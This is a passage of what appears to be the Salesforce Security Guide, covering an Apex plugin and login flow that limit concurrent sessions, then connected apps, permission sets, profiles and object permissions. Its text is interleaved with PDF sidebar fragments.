global class SessionPlugin implements Process.Plugin
{
global Process.PluginDescribeResult describe()
{
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.description='This plug-in returns the no of concurrent sessions for the
current user';
result.tag='Identity';

result.inputParameters = new List<Process.PluginDescribeResult.InputParameter> {

};

result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>

73
Salesforce Security Guide Configure User Authentication

{
new Process.PluginDescribeResult.OutputParameter('CONCURRENT_NO',
Process.PluginDescribeResult.ParameterType.INTEGER)
};

return result;
}

global Process.PluginResult invoke(Process.PluginRequest request)

{
Map<String, Object> result = new Map<String, Object>();
List<AuthSession> sessions;
Integer no = 0;

String userid = UserInfo.getUserId();

sessions = [Select Id, ParentId, SessionType from AuthSession where

UsersId=:userid];
for (AuthSession s : sessions)
{
// Count only parent and non-temp and non-internal sessions
if(s.ParentId == null && s.SessionType != 'TempUIFrontdoor' && s.SessionType
!= 'InternalServiceCall' )
{
no++;
}
}

result.put('CONCURRENT_NO', no);

return new Process.PluginResult(result);

}
}

Creating the Login Flow

The package’s login flow includes these elements.
• SessionPlugin–The Apex plug-in that queries the number of concurrent sessions.
• Decision–Verifies whether the number of concurrent sessions exceeds the limit. The outcome determines whether the login is
blocked or allowed.
• Block Screen–If the login exceeds the limit, the flow displays the block screen element.
• Assignment–If the login exceeds the limit, this element assigns the LoginFlow_ForceLogout variable to true and prevents
the login.
• Dummy Screen–This element is a placeholder. A flow requires a UI element to follow an output variable.
1. From Setup, enter Flows in the Quick Find box, select Flows, and click New Flow.
2. Select Screen Flow, and click Create.
3. From the toolbox, on the Manager tab, click New Resource. Create a LoginFlow_ForceLogout output boolean variable. When set
to true, this variable blocks the login attempt.

74
Salesforce Security Guide Configure User Authentication

4. Create a numeric variable to store the allowed number of concurrent sessions for the user.

5. From the toolbox, open the Elements tab. Drag an Apex Action (Legacy) element onto the canvas, and select the SessionPlugin
legacy Apex action. Store the action’s CONCURRENT_NO parameter in the session_no flow variable.

75
Salesforce Security Guide Configure User Authentication

6. Add a Decision element that has two outcomes. If the login exceeds the limit, the outcome is Block, which is the default. Otherwise,
the outcome is Allow.

7. Add a Screen element that tells the user they’ve exceeded the allowed number of concurrent sessions.

8. Add an Assignment element that sets the LoginFlow_ForceLogout output variable to true.

76
Salesforce Security Guide Configure User Authentication

9. Add a screen with no contents.

10. Connect the elements together. When you connect the decision to the first screen, choose the Block outcome.

11. Save the flow.

12. Activate the flow.

77
Salesforce Security Guide Connected Apps

13. Connect the login flow to a user profile. Best practice is to create a dedicated test user with a test profile.
14. Log out, and then log in as the test user and test the flow.
When you assign the profile to users, Salesforce redirects them at login through the flow. When a login attempt exceeds the limit,
the user sees the block screen and can’t log in. Here’s an example of the block screen in Lightning Experience.

SEE ALSO:
Login Flow Examples

Connected Apps
A connected app is a framework that enables an external application to integrate with Salesforce using APIs and standard protocols,
such as SAML, OAuth, and OpenID Connect. Connected apps use these protocols to authenticate, authorize, and provide single sign-on
(SSO) for external apps. The external apps that are integrated with Salesforce can run on the customer success platform, other platforms,
devices, or SaaS subscriptions. For example, when you log in to your Salesforce mobile app and see your data from your Salesforce org,
you’re using a connected app.
By capturing metadata about an external app, a connected app tells Salesforce which authentication protocol—SAML, OAuth, and
OpenID Connect—the external app uses, and where the external app runs. Salesforce can then grant the external app access to its data,
and attach policies that define access restrictions, such as when the app’s access expires. Salesforce can also audit connected app usage.
To learn more about how to use, configure, and manage connected apps, see the following topics in Salesforce Help:
• Connected App Use Cases
• Create a Connected App
• Edit a Connected App
• Manage Access to a Connected App

More Resources
Here are some additional resources to help you navigate connected apps:
• Salesforce Help: Connected Apps
• Salesforce Help: Authorize Apps with OAuth
• Trailhead: Build Integrations Using Connected Apps

78
Salesforce Security Guide Give Users Access to Data

Give Users Access to Data

Choosing the data set that each user or group of users can see is one of the key decisions that affects data security. You need to find a
balance between limiting access to data, thereby limiting risk of stolen or misused data, versus the convenience of data access for your
users.

IN THIS SECTION:
Control Who Sees What
Salesforce provides a flexible, layered data sharing design that lets you expose different data sets to different groups of users. Managing
the visibility of date helps users do their job by showing only data that is relevant to them. To specify objects and fields users can
access, use permission sets and profiles. Use organization-wide sharing settings, user roles, and sharing rules to specify the individual
records that users can view and edit.
User Permissions
User permissions specify what tasks users can perform and what features users can access. For example, users with the “View Setup
and Configuration” permission can view Setup pages, and users with the “API Enabled” permission can access any Salesforce API.
Object Permissions
Object permissions specify the base-level access users have to create, read, edit, and delete records for each object. You can manage
object permissions in permission sets and profiles.
Custom Permissions
Use custom permissions to give users access to custom processes or apps.
Profiles
Profiles define how users access objects and data, and what they can do within the application. When you create users, you assign
a profile to each one.
Create a User Role
Salesforce offers a user role hierarchy that you can use with sharing settings to determine the levels of access that users have to your
Salesforce org’s data. Roles within the hierarchy affect access on key components such as records and reports.

Control Who Sees What

Salesforce provides a flexible, layered data sharing design that lets you expose different data sets
EDITIONS
to different groups of users. Managing the visibility of date helps users do their job by showing only
data that is relevant to them. To specify objects and fields users can access, use permission sets and Available in: both Salesforce
profiles. Use organization-wide sharing settings, user roles, and sharing rules to specify the individual Classic (not available in all
records that users can view and edit. orgs) and Lightning
Experience
Note: Who Sees What: Overview (English only)
Watch a demo on controlling access to and visibility of your data. The available data
management options vary
Tip: When implementing security and sharing rules for your organization, make a table of according to which
Salesforce Edition you have.
the various types of users in your organization. In the table, specify the level of access to data
that each type of user needs. Indicate the access level for each object and for fields and records
within the object. You can refer to this table as you set up your security model.

79
Salesforce Security Guide Control Who Sees What

Object-Level Security (Permission Sets and Profiles)

Object-level security—or object permissions—provide the bluntest way to control data. Using object permissions, you can prevent
a user from seeing, creating, editing, or deleting any instance of a particular object type, such as a lead or opportunity. Object
permissions let you hide whole tabs and objects from particular users, so that they don’t even know that type of data exists.
You specify object permissions in permission sets and profiles. Permission sets and profiles are collections of settings and permissions
that determine what a user can do in the application. The settings are similar to a group in a Windows network, where the members
of the group have the same folder permissions and access to the same software.
Profiles are typically defined by a user’s job function (for example, system administrator or sales representative). A profile can be
assigned to many users, but a user can be assigned to only one profile. You can use permission sets to grant more permissions and
access settings to users. It’s easy to manage users’ permissions and access with permission sets, because you can assign multiple
permission sets to a single user.
Field-Level Security (Permission Sets and Profiles)
Sometimes you want users to have access to an object, but limit their access to individual fields in that object. Field-level security—or
field permissions—control whether a user can see, edit, and delete the value for a particular field on an object. They let you protect
sensitive fields without having to hide the whole object from users. Field permissions are also controlled in permission sets and
profiles.
Field permissions control the visibility of fields in any part of the app, including related lists, list views, reports, and search results. To
ensure that a user can’t access a particular field, use field permissions. No other settings provide the same level of protection for a
field. Page layouts only control the visibility of fields on detail and edit pages.

Note: With some exceptions, search results are not returned for records with fields that an Admin or end user can't access
because of field level security. For example, a user searches for Las Vegas in Accounts, but doesn't have access to the Account
fields Billing Address and Shipping Address. Salesforce does a keyword search, matching the terms "Las Vegas”, “Las” and
“Vegas” in the searchable fields. No results are returned for records that match only the Billing and Shipping Address fields
because the user doesn't have access to these fields. There are some fields that don’t enforce field level security and return
search results.
Record-Level Security (Sharing)
After setting object- and field-level access permissions, you can configure access settings for the actual records themselves. Record-level
security lets you give users access to some object records, but not others. Every record is owned by a user or a queue. The owner
has full access to the record. In a hierarchy, users higher in the hierarchy always have the same access to users below them in the
hierarchy. This access applies to records owned by users and records shared with them.
To specify record-level security, set your organization-wide sharing settings, define a hierarchy, and create sharing rules.
• Organization-wide sharing settings—The first step in record-level security is to determine the organization-wide sharing settings
for each object. Organization-wide sharing settings specify the default level of access users have to each others’ records.
You use organization-wide sharing settings to lock down your data to the most restrictive level. Use the other record-level security
and sharing tools to selectively give access to other users. For example, users have object-level permissions to read and edit
opportunities, and the organization-wide sharing setting is Read-Only. By default, those users can read all opportunity records,
but can’t edit any unless they own the record or are granted other permissions.

• Role hierarchy—Once you’ve specified organization-wide sharing settings, the first way you can give wider access to records is
with a role hierarchy. Similar to an organization chart, a role hierarchy represents a level of data access that a user or group of
users needs. The role hierarchy ensures that users higher in the hierarchy can always access the same data as users who are at
a lower level, regardless of the organization-wide default settings. Role hierarchies don’t have to match your organization chart
exactly. Instead, each role in the hierarchy can represent a level of data access that a user or group of users needs.
Similarly, you can use a territory hierarchy to share access to records. See Define Default User Access for Territory Records
(Enterprise Territory Management) and Configure Territory Management Settings (original territory management).

80
Salesforce Security Guide User Permissions

Note: Although it’s easy to confuse permission sets and profiles with roles, they control two different things. Permission
sets and profiles control a user’s object and field access permissions. Roles primarily control a user’s record-level access
through role hierarchy and sharing rules.

• Sharing rules—Sharing rules let you make automatic exceptions to organization-wide sharing settings for particular sets of users.
Use sharing rules to give them access to records they don’t own or can’t normally see. Sharing rules, like role hierarchies, are
only used to give additional users access to records—they can’t be stricter than your organization-wide default settings.
• Manual sharing—Sometimes it’s impossible to define a consistent group of users who need access to a particular set of records.
In those situations, record owners can use manual sharing to give read and edit permissions to users who don’t have access any
other way. Manual sharing isn’t automated like organization-wide sharing settings, role hierarchies, or sharing rules. However,
it gives record owners the flexibility to share particular records with users that must see them.
• Apex managed sharing—If sharing rules and manual sharing don’t give you the control you need, you can use Apex managed
sharing. Apex managed sharing allows developers to programmatically share custom objects. When you use Apex managed
sharing on a custom object, only users with the Modify All Data permission can add or change the sharing on the custom
object's record. The sharing access is maintained across record owner changes.

User Permissions
User permissions specify what tasks users can perform and what features users can access. For
EDITIONS
example, users with the “View Setup and Configuration” permission can view Setup pages, and
users with the “API Enabled” permission can access any Salesforce API. Available in: Salesforce
You can enable user permissions in permission sets and custom profiles. In permission sets and the Classic (not available in all
enhanced profile user interface, these permissions—as well as their descriptions—are listed in the orgs) and Lightning
App Permissions or System Permissions pages. In the original profile user interface, user permissions Experience
are listed under Administrative Permissions and General User Permissions. The user permissions
To view permissions and their descriptions, from Setup, enter Permission Sets in the Quick available vary according to
Find box, then select Permission Sets, then select or create a permission set. Then from the which edition you have.
Permission Set Overview page, click App Permissions or System Permissions.

IN THIS SECTION:
User Permissions and Access
User permissions and access settings are specified in profiles and permission sets. To use them effectively, understand the differences
between profiles and permission sets.
Permission Sets
A permission set is a collection of settings and permissions that give users access to various tools and functions. Permission sets
extend users’ functional access without changing their profiles.

81
Salesforce Security Guide User Permissions

User Permissions and Access

User permissions and access settings are specified in profiles and permission sets. To use them
EDITIONS
effectively, understand the differences between profiles and permission sets.
User permissions and access settings specify what users can do within an organization: Available in: Salesforce
Classic (not available in all
• Permissions determine a user's ability to edit an object record, view the Setup menu, permanently
orgs) and Lightning
delete records in the Recycle Bin, or reset a user's password.
Experience
• Access settings determine other functions, such as access to Apex classes, app visibility, and
the hours when users can log in. The available permissions
and settings vary according
Every user is assigned only one profile, but can also have multiple permission sets. When determining to which Salesforce edition
access for your users, use profiles to assign the minimum permissions and access settings for specific you have.
groups of users. Then use permission sets to grant more permissions as needed.
Permission sets available in:
This table shows the types of permissions and access settings that are specified in profiles and
Essentials, Contact
permission sets. Manager, Professional,
Group, Enterprise,
Permission or Setting Type In Profiles? In Permission Sets? Performance, Unlimited,
Assigned apps Developer, and
Database.com Editions
Tab settings

Record type assignments

Page layout assignments

Object permissions

Field permissions

User permissions (app and

system)

Apex class access

Visualforce page access

External data source access

Service provider access (if

Salesforce is enabled as an
identity provider)

Custom permissions

Desktop client access

Login hours

Login IP ranges

IN THIS SECTION:
Revoking Permissions and Access

82
Salesforce Security Guide User Permissions

Revoking Permissions and Access

You can use profiles and permission sets to grant access, but not to deny access. Any permission
EDITIONS
granted from either a profile or permission set is honored. For example, if “Transfer Record” isn't
enabled in Jane Smith's profile, but is enabled in two of her permission sets, she can transfer records Available in: Salesforce
regardless of whether she owns them. To revoke a permission, you must remove all instances of Classic (not available in all
the permission from the user. You can do this with the following actions—each has possible orgs) and Lightning
consequences. Experience

Action Consequence Available in:Essentials,

Contact Manager,
Disable a permission or remove an access setting The permission or access setting is disabled for Professional, Group,
in the profile and any permission sets that are all other users assigned to the profile or Enterprise, Performance,
assigned to the user. permission sets. Unlimited, Developer, and
Database.com Editions
If a permission or access setting is enabled in The user may lose other permissions or access
the user's profile, assign a different profile to the settings associated with the profile or permission
user. sets.
AND
If the permission or access setting is enabled in
any permission sets that are assigned to the user,
remove the permission set assignments from
the user.

To resolve the consequence in either case, consider all possible options. For example, you can clone the assigned profile or any assigned
permission sets where the permission or access setting is enabled. Then, disable the permission or access setting, and assign the cloned
profile or permission sets to the user. Another option is to create a base profile with the least number of permissions and settings that
represents the largest number of users possible. Then create permission sets that layer more access.

Permission Sets
A permission set is a collection of settings and permissions that give users access to various tools
EDITIONS
and functions. Permission sets extend users’ functional access without changing their profiles.
Users can have only one profile but, depending on the Salesforce edition, they can have multiple Available in: Salesforce
permission sets. You can assign permission sets to various types of users, regardless of their profiles. Classic (not available in all
orgs) and Lightning
Create permission sets to grant access among logical groupings of users, regardless of their primary
Experience
job function. For example, let’s say you have several users who must delete and transfer leads. You
can create a permission set based on the tasks that these users must perform and include the Available in:Essentials,
permission set within permission set groups based on job functions. Contact Manager,
Professional, Group,
If a permission isn’t enabled in a profile but is enabled in a permission set, users with that profile
Enterprise, Performance,
and permission set have the permission. For example, if Manage Password Policies isn’t enabled in
Unlimited, Developer, and
a user’s profile but is enabled in one of their permission sets, they can manage password policies.
Database.com Editions

IN THIS SECTION:
Create and Edit Permission Set List Views
You can create and edit permission set list views to show a list of permission sets with specific fields and permissions. For example,
you could create a list view of all permission sets in which “Modify All Data” is enabled.

83
Salesforce Security Guide User Permissions

Edit Permission Sets from a List View

You can change permissions in up to 200 permission sets directly from the list view, without accessing individual permission sets.
App and System Settings in Permission Sets
In permission sets, permissions and settings are organized into app and system categories. These categories reflect the rights users
need to administer and use system and app resources.
Permission Set Assigned Users Page
From the Assigned Users page, you can view all users who are assigned to a permission set, assign more users, and remove user
assignments.
Search Permission Sets
To quickly navigate to other pages in a permission set, you can enter search terms in any permission set detail page.
View and Edit Assigned Apps in Permission Sets
Assigned app settings specify the apps that users can select in the Lightning Platform app menu.
Assign Custom Record Types in Permission Sets
Enable Custom Permissions in Permission Sets
Custom permissions give you a way to provide access to custom processes or apps. After you’ve created a custom permission and
associated it with a process or app, you can enable the permission in permission sets.
Manage Permission Set Assignments
You can assign permission sets to a single user from the user detail page or assign multiple users to a permission set from any
permission set page.

Create and Edit Permission Set List Views

You can create and edit permission set list views to show a list of permission sets with specific fields
EDITIONS
and permissions. For example, you could create a list view of all permission sets in which “Modify
All Data” is enabled. Available in: Salesforce
1. In the Permission Sets page, click Create New View, or select a view and click Edit. Classic (not available in all
orgs) and Lightning
2. Enter the view name.
Experience
3. Under Specify Filter Criteria, specify the conditions that the list items must match, such as
Modify All Data equals True. Available in:Essentials,
Contact Manager,
a. Type a setting name, or click to search for and select the setting you want. Professional, Group,
Enterprise, Performance,
b. Choose a filter operator.
Unlimited, Developer, and
c. Enter the value that you want to match. Database.com Editions

Tip: To show only permission sets with no user license, enter User License for
the Setting, set the Operator to equals, and enter "" in the Value field. USER PERMISSIONS

d. To specify another filter condition, click Add Row. You can specify up to 25 filter condition To create, edit, and delete
rows. permission set list views:
• Manage Profiles and
4. Under Select Columns to Display, specify the settings that you want to appear as columns in Permission Sets
the list view. You can add up to 15 columns.
a. From the Search drop-down list, select a setting type.
b. Enter the first few letters of the setting you want to add and click Find.

84
Salesforce Security Guide User Permissions

Note: If the search finds more than 500 values, no results appear. Refine your search criteria to show fewer results.

5. Click Save, or if you're cloning an existing view, rename it and click Save As.

Edit Permission Sets from a List View

You can change permissions in up to 200 permission sets directly from the list view, without
EDITIONS
accessing individual permission sets.

Note: Use care when editing permission sets with this method. Making mass changes can Available in: Salesforce
have a widespread effect on users in your organization. Classic (not available in all
orgs) and Lightning
1. Select or create a list view that includes the permission sets and permissions you want to edit. Experience
2. To edit multiple permission sets, select the checkbox next to each one you want to edit. If you
Available in:Essentials,
select permission sets on multiple pages, the selections on each page are remembered. Contact Manager,
3. Double-click the permission you want to edit. For multiple permission sets, double-click the Professional, Group,
permission in any of the selected permission sets. Enterprise, Performance,
Unlimited, Developer, and
4. In the dialog box that appears, enable or disable the permission. In some cases, changing a
Database.com Editions
permission can also change other permissions. For example, if “Manage Cases” and “Transfer
Cases” are enabled in a permission set and you disable “Transfer Cases,” then “Manage Cases”
is also disabled. In this case, the dialog box lists the affected permissions. USER PERMISSIONS
5. To change multiple permission sets, select All n selected records (where n is the number To edit multiple permission
of permission sets you selected). sets from the list view:
6. Click Save. • Manage Profiles and
Permission Sets
If you edit multiple permission sets, only the permission sets that support the permission you are
editing change. For example, let’s say you use inline editing to enable “Modify All Data” in ten
permission sets, but one permission set doesn’t have “Modify All Data.” In this case, “Modify All Data” is enabled in all the permission
sets, except the one without “Modify All Data.”
Any changes you make are recorded in the setup audit trail.

App and System Settings in Permission Sets

In permission sets, permissions and settings are organized into app and system categories. These
EDITIONS
categories reflect the rights users need to administer and use system and app resources.
Available in: Salesforce
App Settings Classic (not available in all
orgs) and Lightning
Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All Experience
underlying objects, components, data, and configurations remain the same, regardless of the
selected app. In selecting an app, users navigate in a set of tabs that allows them to efficiently use Available in:Essentials,
the underlying functionality for app-specific tasks. For example, let's say you do most of your work Contact Manager,
in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing Professional, Group,
campaign, rather than adding the Campaigns tab to the sales app, you select Marketing from the Enterprise, Performance,
app drop-down to view your campaigns and campaign members. Unlimited, Developer, and
Database.com Editions
The Apps section of the permission sets overview page contains settings that are directly associated
with the business processes the apps enable. For example, customer service agents might need to
manage cases, so the “Manage Cases” permission is in the Call Center section of the App Permissions page. Some app settings aren't

85
Salesforce Security Guide User Permissions

related to app permissions. For example, to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate
Apex classes and Visualforce pages, as well as the object and field permissions that allow them to create new time-off requests.

System Settings
Some system functions apply to an organization and not to any single app. For example, “View Setup and Configuration” allows users
to view setup and administrative settings pages. Other system functions apply to all apps. For example, the “Run Reports” and “Manage
Dashboards” permissions allow managers to create and manage reports in all apps. In some cases, such as with “Modify All Data,” a
permission applies to all apps, but also includes non-app functions, like the ability to download the Data Loader.

Permission Set Assigned Users Page

From the Assigned Users page, you can view all users who are assigned to a permission set, assign
EDITIONS
more users, and remove user assignments.
To view all users who are assigned to a permission set, from any permission set page, click Manage Available in: Salesforce
Assignments. From the Assigned Users page, you can: Classic (not available in all
orgs) and Lightning
• Assign users to the permission set
Experience
• Remove user assignments from the permission set
Available in:Essentials,
• Edit a user
Contact Manager,
• View a user's detail page by clicking the name, alias, or username Professional, Group,
• View a profile by clicking the profile name Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

USER PERMISSIONS

To view users that are

assigned to a permission
set:
• View Setup and
Configuration

86
Salesforce Security Guide User Permissions

Search Permission Sets

To quickly navigate to other pages in a permission set, you can enter search terms in any permission
EDITIONS
set detail page.
On any of the permission sets detail pages, type at least three consecutive letters of an object, Available in: Salesforce
setting, or permission name in the Find Settings... box. The search terms aren't case-sensitive. Classic (not available in all
As you type, suggestions for results that match your search terms appear in a list. Click an item in orgs) and Lightning
Experience
the list to go to its settings page.
For some categories, you can search for the specific permission or setting name. For other categories, Available in:Essentials,
search for the category name. Contact Manager,
Professional, Group,
Enterprise, Performance,
Item Search for Example
Unlimited, Developer, and
Assigned apps App name Type sales in the Find Settings box, then Database.com Editions
select Sales from the list.

Objects Object name Let’s say you have an Albums custom object. USER PERMISSIONS
Type albu, then select Albums.
To search permission sets:
Parent object name Let’s say your Albums object contains a • View Setup and
• Fields
Description field. To find the Description Configuration
• Record types
field for albums, type albu, select Albums,
and scroll down to Description under
Field Permissions.

Tabs Tab or parent object Type rep, then select Reports.

name

App and system Permission name Type api, then select API Enabled.
permissions

All other categories Category name To find Apex class access settings, type apex,
then select Apex Class Access. To find
custom permissions, type cust, then select
Custom Permissions. And so on.

If you don’t get any results, don’t worry. Here’s some tips that can help:
• Check if the search term has at least three consecutive characters that match the object, setting, or permission name.
• The permission, object, or setting you're searching for might not be available in the current Salesforce org.
• The item you’re searching for might not be available for the user license that’s associated with the current permission set. For example,
a permission set with the Standard Platform User license doesn’t include the “Modify All Data” permission.
• The permission set license associated with the permission set doesn’t include the object, setting, or permission name you’re searching
for.

87
Salesforce Security Guide User Permissions

View and Edit Assigned Apps in Permission Sets

Assigned app settings specify the apps that users can select in the Lightning Platform app menu.
EDITIONS
Unlike profiles, you can’t assign a default app in permission sets. You can only specify whether apps
are visible. Available in: Salesforce
Classic (not available in all
To assign apps:
orgs) and Lightning
1. From Setup, enter Permission Sets in the Quick Find box, then select Permission Experience
Sets.
Available in:Essentials,
2. Select a permission set, or create one. Contact Manager,
3. On the permission set overview page, click Assigned Apps. Professional, Group,
Enterprise, Performance,
4. Click Edit.
Unlimited, Developer, and
5. To assign apps, select them from the Available Apps list and click Add. To remove apps from Database.com Editions
the permission set, select them from the Enabled Apps list and click Remove.
6. Click Save. USER PERMISSIONS

To edit assigned app

settings:
• Manage Profiles and
Permission Sets

Assign Custom Record Types in Permission Sets

1. From Setup, enter Permission Sets in the Quick Find box, then select Permission
EDITIONS
Sets.
2. Select a permission set, or create one. Available in: Salesforce
Classic (not available in all
3. On the permission set overview page, click Object Settings, then click the object you want.
orgs) and Lightning
4. Click Edit. Experience
5. Select the record types you want to assign to this permission set. Record types available in:
6. Click Save. Professional, Enterprise,
Performance, Unlimited,
and Developer Editions
IN THIS SECTION:
How is record type access specified?
USER PERMISSIONS
You can assign record types to users in their profile or permission sets, or a combination of
both. Record type assignment behaves differently in profiles and permission sets. To assign record types in
permission sets:
• Manage Profiles and
Permission Sets

88
Salesforce Security Guide User Permissions

How is record type access specified?

You can assign record types to users in their profile or permission sets, or a combination of both.
EDITIONS
Record type assignment behaves differently in profiles and permission sets.
• A user’s default record type is specified in the user’s personal settings. You can’t specify a default Available in: both Salesforce
record type in permission sets. Classic (not available in all
orgs) and Lightning
• You can assign the --Master-- record type in profiles. In permission sets, you can assign
Experience
only custom record types. The behavior for record creation depends on which record types are
assigned in profiles and permission sets. Available in: Professional,
Enterprise, Performance,
If users have this record And this total number of When they create a Unlimited, and Developer
type on their profile... custom record types in record... Editions
their permission sets...
--Master-- None The new record is associated
with the Master record type

--Master-- One The new record is associated

with the custom record type.
Users can’t select the Master
record type.

--Master-- Multiple Users are prompted to select

a record type.

Custom One or more Users are prompted to select

a record type. In their personal
settings, users can set an
option to use their default
record type and not be
prompted to choose a record
type.

• Page layout assignments are specified in profiles only—they’re not available in permission sets. When a permission set specifies a
custom record type, users with that permission set get the page layout assignment that’s specified for that record type in their profile.
(In profiles, page layout assignments are specified for every record type, even when record types aren’t assigned.)
• For lead conversion, the default record type specified in a user’s profile is used for the converted records.
• Users can view records assigned to any record type. As a result, a page layout is assigned to every record type on a user's profile. A
record type assignment on a user’s profile or permission set doesn’t determine whether a user can view a record with that record
type. The record type assignment simply specifies that the user can use that record type when creating or editing a record.
• Record types in permission sets aren’t supported in packages and change sets. As a result, any record type assignments in permission
sets in a sandbox organization must be manually reproduced in a production organization.

89
Salesforce Security Guide User Permissions

Enable Custom Permissions in Permission Sets

Custom permissions give you a way to provide access to custom processes or apps. After you’ve
EDITIONS
created a custom permission and associated it with a process or app, you can enable the permission
in permission sets. Available in: both Salesforce
1. From Setup, enter Permission Sets in the Quick Find box, then select Permission Classic (not available in all
Sets. orgs) and Lightning
Experience
2. Select a permission set, or create one.
3. On the permission set overview page, click Custom Permissions. Available in: Essentials,
Group, Professional,
4. Click Edit. Enterprise, Performance,
5. To enable custom permissions, select them from the Available Custom Permissions list and Unlimited, and Developer
then click Add. To remove custom permissions from the permission set, select them from the Editions
Enabled Custom Permissions list and then click Remove. In Group and Professional
6. Click Save. Edition organizations, you
can’t create or edit custom
permissions, but you can
install them as part of a
managed package.

USER PERMISSIONS

To enable custom
permissions in permission
sets:
• Manage Profiles and
Permission Sets

Manage Permission Set Assignments

You can assign permission sets to a single user from the user detail page or assign multiple users
EDITIONS
to a permission set from any permission set page.
• Assign Permission Sets to a Single User Available in: Salesforce
• Assign a Permission Set to Multiple Users Classic (not available in all
orgs) and Lightning
• Remove User Assignments from a Permission Set Experience

Available in:Essentials,
IN THIS SECTION:
Contact Manager,
Assign Permission Sets to a Single User Professional, Group,
Assign permission sets or remove permission set assignments for a single user from the user Enterprise, Performance,
detail page. Unlimited, Developer, and
Database.com Editions
Assign a Permission Set to Multiple Users
Assign a permission set to one or more users from any permission set page.
Remove User Assignments from a Permission Set
From any permission set page, you can remove the permission set assignment from one or more users.

90
Salesforce Security Guide User Permissions

Assign Permission Sets to a Single User

Assign permission sets or remove permission set assignments for a single user from the user detail
EDITIONS
page.
The Permission Set Assignments page shows: Available in: Salesforce
Classic (not available in all
• Permission sets with no associated license. For example, you can assign a permission set if None
orgs) and Lightning
was selected for the license type in the permission set. Make sure that the user’s license allows
Experience
all the permission set’s enabled settings and permissions. If the user’s license doesn’t allow
selected permissions, the assignment fails. Available in:Essentials,
• Permission sets that match the user’s license. For example, if a user’s license is Chatter Only, Contact Manager,
you can assign permission sets with the Chatter Only license. Professional, Group,
Enterprise, Performance,
• Permission sets specific to permission set licenses. Let’s say you create a permission set named Unlimited, Developer, and
Identity and associate that permission set to the “Identity Connect” permission set license. When Database.com Editions
you assign users to Identity, they receive all functionality available with the Identity Connect
permission set license.
USER PERMISSIONS
Note: Some permissions require users to have a permission set license before you can grant
the permissions. For example, if you add the “Use Identity Connect” user permission to the To assign permission sets:
Identity permission set, you can assign only users with the Identity Connect permission set • Assign Permission Sets
license to the permission set. AND
1. From Setup, enter Users in the Quick Find box, then select Users. View Setup and
Configuration
2. Select a user.
3. In the Permission Set Assignments related list, click Edit Assignments.
4. To assign a permission set, select it under Available Permission Sets and click Add. To remove a permission set assignment, select
it under Enabled Permission Sets and click Remove.
5. Click Save.

Tip: You can perform this and other administration tasks from the SalesforceA mobile app.

91
Salesforce Security Guide User Permissions

Assign a Permission Set to Multiple Users

Assign a permission set to one or more users from any permission set page.
EDITIONS
1. Select the permission set that you want to assign to users.
Available in: Salesforce
2. Click Manage Assignments and then Add Assignments.
Classic (not available in all
3. Select the checkboxes next to the names of the users you want assigned to the permission set, orgs) and Lightning
and click Assign. Experience
Messages confirm success or indicate if a user doesn’t have the appropriate licenses for assignment. Available in:Essentials,
Contact Manager,
Professional, Group,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

USER PERMISSIONS

To assign permission sets:

• Assign Permission Sets
AND
View Setup and
Configuration

Remove User Assignments from a Permission Set

From any permission set page, you can remove the permission set assignment from one or more
EDITIONS
users.
1. From Setup, enter Permission Sets in the Quick Find box, then select Permission Available in: Salesforce
Sets. Classic (not available in all
orgs) and Lightning
2. Select a permission set.
Experience
3. In the permission set toolbar, click Manage Assignments.
Available in:Essentials,
4. Select the users to remove from this permission set. Contact Manager,
You can remove up to 1000 users at a time. Professional, Group,
Enterprise, Performance,
5. Click Remove Assignments. Unlimited, Developer, and
This button is only available when one or more users are selected. Database.com Editions

6. To return to a list of all users assigned to the permission set, click Done.
USER PERMISSIONS

To remove permission set

assignments:
• Assign Permission Sets

92
Salesforce Security Guide Object Permissions

Object Permissions
Object permissions specify the base-level access users have to create, read, edit, and delete records
EDITIONS
for each object. You can manage object permissions in permission sets and profiles.
Object permissions either respect or override sharing rules and settings. The following permissions Available in: Salesforce
specify the access that users have to objects. Classic (not available in all
orgs) and Lightning
Permission Description Respects or Experience
Overrides Sharing? Available in: Professional,
Read Users can only view records of this type. Respects sharing Enterprise, Performance,
Unlimited, Developer, and
Create Users can read and create records. Respects sharing Database.com Editions
Edit Users can read and update records. Respects sharing

Delete Users can read, edit, and delete records. Respects sharing

View All Users can view all records associated with this Overrides sharing
object, regardless of sharing settings.

Modify All Users can read, edit, delete, transfer, and Overrides sharing
approve all records associated with this object,
regardless of sharing settings.

Note: “Modify All” on documents allows

access to all shared and public folders,
but not the ability to edit folder
properties or create new folders. To edit
folder properties and create new folders,
users must have the “Manage Public
Documents” permission.

Note: A profile or a permission set can have an entity, such as Account, with a master-detail relationship. A broken permission
dependency exists if the child entity has permissions that the parent should have. Salesforce updates the parent entity for a broken
permission dependency on the first save action for the profile or permission set.

If the child entity has these permissions These permissions are enabled on the parent entity
Modify All OR View All View All

View All OR Read Read

IN THIS SECTION:
“View All” and “Modify All” Permissions Overview
The “View All” and “Modify All” permissions ignore sharing rules and settings, allowing administrators to grant access to records
associated with a given object across the organization. “View All” and “Modify All” can be better alternatives to the “View All Data”
and “Modify All Data” permissions.

93
Salesforce Security Guide Object Permissions

Comparing Security Models

“View All” and “Modify All” Permissions Overview

The “View All” and “Modify All” permissions ignore sharing rules and settings, allowing administrators
EDITIONS
to grant access to records associated with a given object across the organization. “View All” and
“Modify All” can be better alternatives to the “View All Data” and “Modify All Data” permissions. Available in: Salesforce
Be aware of the following distinctions between the permission types. Classic (not available in all
orgs) and Lightning
Permissions Used for Users who need them Experience

View All Delegation of object permissions. Delegated administrators who Available in: All Editions

Modify All manage records for specific objects

View All Data Managing all data in an organization; Administrators of an entire

Modify All Data for example, data cleansing, organization
deduplication, mass deletion, mass
Note: If a user requires access
transferring, and managing record
only to metadata for
approvals.
deployments, you can enable
Users with View All Data (or Modify the Modify Metadata Through
All Data) permission can view (or Metadata API Functions
modify) all apps and data, even if the permission. This permission
apps and data are not shared with gives such users the access
them. they need for deployments
without providing access to
org data. For details, see
“Modify Metadata Through
Metadata API Functions
Permission” in Salesforce Help.

View All Users Viewing all users in the organization. Users who need to see all users in the
Grants Read access to all users, so that organization. Useful if the
you can see their user record details, organization-wide default for the user
see them in searches, list views, and object is Private. Administrators with
so on. the Manage Users permission are
automatically granted the View All
Users permission.

